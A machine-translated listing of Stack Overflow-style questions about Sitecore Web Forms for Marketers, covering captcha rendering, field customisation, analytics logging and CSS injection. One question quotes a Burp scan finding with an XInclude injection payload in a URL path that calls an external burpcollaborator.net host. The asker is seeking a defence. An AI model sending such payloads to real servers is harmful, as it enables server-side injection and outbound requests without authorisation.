标签: web-forms-for-marketers

对于营销人员,Captcha图像不会在sitecore Web表单中呈现

我正在使用" Web Forms for Marketers 2.5 rev.141014 ",同时创建一个表单我正在使用Captcha字段,但验证码图像不在前端渲染.

截图链接

我究竟做错了什么??

captcha webforms sitecore web-forms-for-marketers

7
推荐指数
1
解决办法
1872
查看次数

适用于Marketters的Web表单(WFFM)带有占位符属性的Html输入标记

我有一个要求,我正在实施sitecore WFFM来创建一个表单.该页面包含带有Placeholder属性的HTML输入标记.我必须将WFFM SingleLineInput框渲染为具有占位符属性的输入标记.我该怎么办?

我知道这个SingleLineText类是在Sitecore.Form.Web.UI.Controlsdll中定义的.

sitecore web-forms-for-marketers sitecore7

6
推荐指数
2
解决办法
2878
查看次数

营销人员的Webforms动态地形成字段条件可见性

我们正在使用WFFM来创建目标网页.我们的营销人员很容易使用它.现在,我们正在考虑定制它们.例如,我们有以下要求.

在我们的表格中,我们显示居住国家,但是当您选择一些国家/地区时,我们希望再显示一个state/province与州相关的下拉列表.当用户选择其他国家/地区时,我们必须隐藏该state/provice字段.我正在敲打我的脑袋,我该如何开始实施呢.

谁能指导我,怎么办?

sitecore sitecore6 web-forms-for-marketers

5
推荐指数
1
解决办法
2038
查看次数

营销人员和DMS的Sitecore Web表单 - 不记录活动,目标和退出信息

在WFFM中有一个选项,以便当有人放弃表单时,表单中输入的任何数据都会被记录下来,并且可以通过Dropout Report访问.

我有一个WFFM,我已经开启了Analytics并打开了dropout功能.不幸的是,我没有看到数据库中记录的任何数据和Dropout报告是可见的,但是空的.

我从WFFM文件夹中包含的javascript代码中看到,一系列AJAX调用应该保存模糊事件的字段 - 调用/ sitecore modules/web/Web Forms for Marketers/Tracking.aspx

我尝试调试Javascript代码,但该方法应该将信息发布到/ sitecore modules/web/Web Forms for Marketers/Tracking.aspx永远不会被调用.你能想到这个代码不起作用的任何原因吗?此外,有谁知道这个信息应该记录在哪个表中?它是WFFM DB中的字段表吗?

最后,即使我已经在这个特定的WFFM表单上启用了分析,并且我已经将一个活动和一个目标与提交表单相关联,但这些都没有被记录下来.我看到表单中输入的数据已成功存储并显示在数据报告中,但没有关于广告系列和目标的信息记录在数据库中.

我甚至直接在运行的DMS DB中手动检查:

select top 10
p.DateTime, p.UrlText, cp.CampaignName
,i.Url, vi.VisitId
from pages p
inner join ItemUrls i on p.ItemId = i.ItemId
inner join Visits vi on vi.VisitId = p.VisitId
inner join GeoIps g on vi.Ip = g.Ip
left join Campaigns cp on cp.CampaignId = vi.CampaignId
order by p.DateTime desc
Run Code Online (Sandbox Code Playgroud)

这个显示正在命中呈现表单的页面,但没有与该访问关联的活动.

然后我尝试了以下内容:

select pe.datetime, ped.Name, pg.UrlText from PageEvents pe
inner join PageEventDefinitions …
Run Code Online (Sandbox Code Playgroud)

sitecore web-forms-for-marketers sitecore-dms

5
推荐指数
1
解决办法
3148
查看次数

如何防止营销人员的Web表单注入自己的jquery-ui.custom.Default.css

我最近在Sitecore项目中使用Web Forms for Marketers(WFFM),我注意到它注入了:

<link href="/sitecore%20modules/shell/Web%20Forms%20for%20Marketers/themes/colors//jquery-ui.custom.Default.css" rel="stylesheet" type="text/css" />
Run Code Online (Sandbox Code Playgroud)

有没有办法禁用链接,以便只有我指定的CSS文件被添加到页面?


在查看了更多WFFM源之后,我注意到不需要的<link />内容通过Page.Header.Controls以下方式添加到页面中:

if (page.Header != null)
{
    if (!flag)
    {
        try
        {
            //possibly added as link, unless an exception is thrown
            page.Header.Controls.Add((Control) htmlLink);
            linkDictionary.Add(key, key);
            continue;
        }
        catch (Exception ex)
        {
            //added manually
            HtmlTextWriter writer = new HtmlTextWriter((TextWriter) new StringWriter(new StringBuilder()));
            htmlLink.RenderControl(writer);
            page.ClientScript.RegisterClientScriptBlock(typeof (Page), writer.InnerWriter.ToString(), writer.InnerWriter.ToString());
            flag = true;
            continue;
        }
    }
}
Run Code Online (Sandbox Code Playgroud)

这意味着我可以检查所有标题控件并隐藏包含的标题控件"jquery-ui.custom.Default.css",但这仍然感觉像是一个脏兮兮的黑客(它是).它也不会在page.Header.Controls.Add会抛出异常的情况下删除链接.

sitecore web-forms-for-marketers

5
推荐指数
1
解决办法
2400
查看次数

扩展Sitecore WFFM字段类型

我想为WFFM表单字段类型添加其他属性.

内置字段类型在表单设计器的左侧具有属性 在此输入图像描述

我想将自己的部分和属性添加到此区域.这可以轻松完成而不会覆盖现有的字段类型或使用核心代码进行黑客攻击吗?

我真的不想重新创建例如单行文本字段,只是为了添加我自己的属性字段.

sitecore web-forms-for-marketers sitecore8

5
推荐指数
1
解决办法
559
查看次数

如何检查在 Sitecore 8 中为营销人员安装了哪个版本的 Web 表单

我如何检查已安装在 Sitecore 8 中的 WFFM 版本。我正在检查数据/包文件夹中的包列表。这是正确的方法吗?

version sitecore web-forms-for-marketers sitecore8

5
推荐指数
1
解决办法
1910
查看次数

如何预防/修复 - 外部服务交互 (DNS)

我收到了这个 burp 漏洞报告 - 外部服务交互 (DNS)

XML 被注入到 URL 路径中。我想知道是否有人知道如何防止这种情况。我正在使用 Visual Studio 和 WebForms C# 开发一个 Web 应用程序。

我想也许可以通过 IIS 或 web.config 文件来阻止它,但我不确定。


问题详情

可以诱导应用程序执行任意域名的服务器端 DNS 查找。有效负载:

<iaz xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/>
</iaz>
Run Code Online (Sandbox Code Playgroud)

...已在 URL 路径文件名中提交。此负载包含一些 XML,其中包含引用外部域上的 URL 的 XInclude 表达式。

应用程序执行了指定域的 DNS 查找,表明 XML 解析器处理了注入的 XInclude 定义。


GET /ViewEmployee/%3ciaz%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/iaz%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
Run Code Online (Sandbox Code Playgroud)

c# xml webforms web-forms-for-marketers

5
推荐指数
0
解决办法
3702
查看次数

以编程方式为营销人员保存Sitecore Web表单

如何在不使用提交按钮的情况下保存表单(我在页面上有另一个可用于运行保存代码的触发器).表单永远不会显示给用户,我只需要将其保存到营销人员数据库的Web表单中,除非当然有更聪明的方法.

我可以很好地使用它

Sitecore.Forms.Core.Data.FormItem form =
 Sitecore.Forms.Core.Data.FormItem.GetForm(formID);
Run Code Online (Sandbox Code Playgroud)

但是,我想

  1. 更改表单字段中的数据

(即类似的东西)

form.Fields["Name"] = "Test name"; 
// this wont work, I dont know how to access the field's value before I store it.
Run Code Online (Sandbox Code Playgroud)
  1. 将表单数据保存在sitecore中的营销人员项目数据库的Web表单中.

在我修改了字段后,我当然希望保存它.

c# database sitecore web-forms-for-marketers

3
推荐指数
1
解决办法
2993
查看次数

在Sitecore 8.0中安装WFFM模块时无法识别Guid格式错误

我最近将Sitecore从6.6版本升级到8.0版本-4.并开始升级WFFM模块,但我得到了一些与分析相关的错误.因此我计划在Sitecore中安装新的WFFM 8.0模块,同时安装它会抛出错误"无法识别的Guid格式".我已经尝试删除web.config文件中的ItemNameValidation设置.但仍然不适合我.

任何帮助,将不胜感激!!

谢谢,Yogesh

sitecore web-forms-for-marketers sitecore8

3
推荐指数
1
解决办法
1125
查看次数